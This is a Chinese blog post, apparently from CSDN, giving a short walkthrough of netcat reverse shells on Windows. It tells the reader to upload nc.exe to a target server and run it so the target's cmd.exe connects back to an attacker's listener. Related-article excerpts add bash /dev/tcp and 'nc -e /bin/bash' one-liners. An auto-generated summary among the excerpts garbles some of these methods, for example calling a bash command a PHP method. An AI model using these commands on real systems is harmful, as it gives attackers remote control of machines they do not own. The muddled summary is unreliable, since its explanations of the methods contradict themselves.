nc反弹shell的使用

最新推荐文章于 2024-07-24 21:24:56 发布
最新推荐文章于 2024-07-24 21:24:56 发布
阅读量2k 收藏
点赞数
分类专栏： nc在win下反弹利用 文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_42307546/article/details/123834179
版权

交互shell就是shell等待你的输入，并且立即执行你提交的命令。
这种模式被称作交互式是shell与用户进行交互，用户输入退出命令才会终止
例如 cmd终端 msf反弹
非交互shell也可以运行在另一种模式,非交互模式，这种模式是直接读取存放在文件中的命令并且运行，当他读取到文件末尾就会终止
例如:webshell,这种执行完命令之后就会终止掉了

使用反弹shell可以让目标服务器主动连接攻击者，绕过防火墙的拦截，因为防火墙只会拦截外部访问内部的流量并不会主动拦截内部发出的流量
利用nc反弹shell

使用nc 监听6666端口

nc.exe -lvvp 6666

在这里插入图片描述

将nc上传到目标服务器，并且执行以下命令

C:\Windows\debug\WIA\nc.exe -e c:\windows\system32\cmd.exe 192.168.1.9 6666

ip地址和端口根据实际情况更改
在这里插入图片描述

这样就能成功返回shell

qq_42307546
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
[ 隧道技术 ] 反弹shell的集中常见方式（一）nc反弹shell
qq_51577576的博客
08-03 1753
攻击者机器 192.168.3.27 和靶机 192.168.3.29 可以相互的访问，这个时候可以使用正向shell攻击者机器 192.168.3.27 不能直接访问靶机，但是靶机 192.168.3.29 可以访问攻击者的机器，这个时候使用反向shell。...
Windows/Linux 下nc 反弹shell
热门推荐
SoulCat
06-11 1万+
*Windows/Linux 下nc 反弹shell 高二那年班主任对我们说：其实我并不反对你们谈恋爱, 只是你们记得要找一个有担当的, 那些一看见老师就松开你手的，要来有什么用？ NC概述: nc又名netcat，一个简单而有用的工具，可以干很多事情，但是不可以吃。 何为反弹shell？为什么不反弹攻击? 相信你有一天可以直接把所有攻击反弹回去的. 何为反弹shell? 简单来说就...
nc--反弹shell
wzhua的博客
08-04 2591
nc--反弹shell，小实验
反弹shell的方式——之NC反弹shell
最新发布
aihua002的博客
07-24 419
反弹shell是指在攻击机监听某个端口，然后通过目标连接攻击机监听的端口，在攻击机反弹得到目标机的shell。通常在目标网络有防火墙或者其他因素限制，导致无法持续控制目标，或者执行命令受阻等情况时需要进行反弹shell。
NC反弹Shell
收集盒 Book box
08-30 2944
使用NC反弹Shell 在进行Shell反弹时，有时会碰到服务器不支持PHP或者WebShell无法成功反弹Shell的情况，例如有的服务器只支持JSP，不支持PHP。此时，可以同样采用Windows下的经典的NC反弹Shell方法。 在Windows下反弹CmdSh
NC（瑞士军刀）反弹shell使用教程，实操演示，保姆级教学
2301_79015613的博客
03-14 1621
简介：nc瑞士军刀，通常被称为netcat或简称nc，是一个被誉为网络安全界的“瑞士军刀”的实用工具。它利用TCP或UDP协议的网络连接来读写数据，具有多种强大的功能，使用也相对简单，只需两台装有nc的PC，就可以进行各种网络操作。例如，通过监听特定端口，可以实现电子取证PC与电子取证设备之间的通信和数据同步。下面是nc的常用参数。
NC反弹shell的几种方法
qq_59350385的博客
05-12 9770
假如ubuntu、CentOS为目标服务器系统 kali为攻击者的系统，ip为：192.168.0.4，开放7777端口且没被占用 最终是将ubuntu、CentOS的shell反弹到kali上 正向反弹shell ubuntu或者CentOS上面输入 nc -lvp 7777 -e /bin/bash kali上输入 nc ip 7777 正向反弹是目标机先执行nc命令，然后kali上再进行nc监听，即可反弹shell。 需要目标机安装nc。 反向反弹shell 方法1：bash
Linux下NC反弹shell命令（推荐）
09-15
本篇文章将详细介绍如何在Linux下使用`nc`进行反弹Shell操作，并提供其他编程语言的反弹Shell命令作为参考。 首先，攻击者需要在自己的机器上启动一个监听服务来接收目标机器的连接。这通常通过以下`nc`命令完成： ...
详解NC反弹shell的几种方法
01-08
假如ubuntu、CentOS为...正向反弹是目标机先执行nc命令，然后kali上再进行nc监听，即可反弹shell。 需要目标机安装nc。 反向反弹shell 方法1：bash反弹 bash -i >& /dev/tcp/ip/port 0>&1 但首先需要在kali上使用
利用nc反弹cmdshell提权
01-27
利用nc反弹cmdshell提权 利用nc反弹cmdshell提权 利用nc反弹cmdshell提权
nc的使用+反弹shell
2301_80366980的博客
02-18 912
记录学习linux中nc的使用，以及反弹shell仅供个人学习,如有冒犯请尽快联系。
内网渗透：nc反弹shell总结
安全大白
01-03 6513
1、实验环境 Kali:192.168.32.132 //模拟靶机 Windows:192.168.32.1 //模拟公网vps 2、若靶机上存在nc，获取反向shell： vps攻击机：nc -lvp 9999 // 监听9999端口 靶机：nc 1.1.1.1 9999 -e /bin/bash // Linux正向连接公网vps1.1.1.1的9999端口 nc 1.1.1.1 9999 -e c:\windows\system32\cmd.exe // Windows 3、若
反弹shell初识
无痕的博客
11-01 4102
反弹shell的指令与演示
NC反弹端口的利用技巧
sineblog的专栏
04-06 4123
首先，我们要在服务器创建一个用于靶场机器下载的webshell，首先要创建服务器，这里我们使用Python的一个模块是simple HTTP server来创建一个简单的http，回到这里，我们首先切换到桌面，CD之后我们来使用passage-m之后，把我们是HTTP simple启动该服务器http server回车那么这时候咱们就开始了一个服务器，并且它的根目录是在桌面的，所以说我们直接访问该机器的IP地址加上对应的这个800端口就可以下载到该shell。 同时我们也发现刚才所写的这个 sh.
浅谈反弹shell
weixin_53284312的博客
01-12 2477
反弹shell
nc的基本操作和反弹shell
sweetie 的博客
05-09 9835
一、nc简介 nc 在网络工具中有“瑞士军刀”美誉 ，所做的就是在两台电脑之间建立链接，并返回两个数据流。 可运行在TCP或者UDP模式，添加参数 ----u 则调整为UDP，默认为TCP 即可用在windows系统也可在linux系统，也可作用于二者之间，只是对应的命令有些差异。 二、nc常用参数 -l 开启监听 -p 指定一个端口 -v 显示详细输出 -e 指定对应的应用程序 -n nc不要DNS反向查询IP的域名 -z 连接成功后立即关闭连接 三、建立C-S连接 1 环境
NC 反弹shell
08-30
NC反弹shell是一种利用NetCat工具实现的一种技术，用于在目标机器和控制机器之间建立一个反向连接，并获得对目标机器的控制权。在反弹shell中，目标机器先执行NC命令，将shell连接到控制机器上的NC监听端口，从而使控制机器能够控制目标机器。 有几种方法可以实现NC反弹shell。其中一种是使用bash反弹，命令如下： ``` bash -i &>/dev/tcp/ip/port 0>&1 ``` 请注意，这种方法需要在控制机器上执行。 另一种方法是使用NC命令进行反向连接，命令如下： ``` nc -e /bin/bash 192.168.0.4 7777 ``` 这种方法适用于在CentOS或Ubuntu上使用。 还有一种方法是使用php反弹shell，需要目标机器安装NC。命令如下： ``` bash -i &>/dev/tcp/ip/port 0>&1 ``` 同样，这种方法需要在控制机器上执行。 总而言之，NC反弹shell是一种通过建立反向连接实现对目标机器的控制的技术。可以使用不同的方法来实现反弹shell，如bash反弹和php反弹。这些方法需要根据具体情况和系统进行选择和执行。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [详解NC反弹shell的几种方法](https://download.csdn.net/download/weixin_38664159/14048091)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* *3* [NC反弹shell的几种方法](https://blog.csdn.net/qq_59350385/article/details/124733038)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值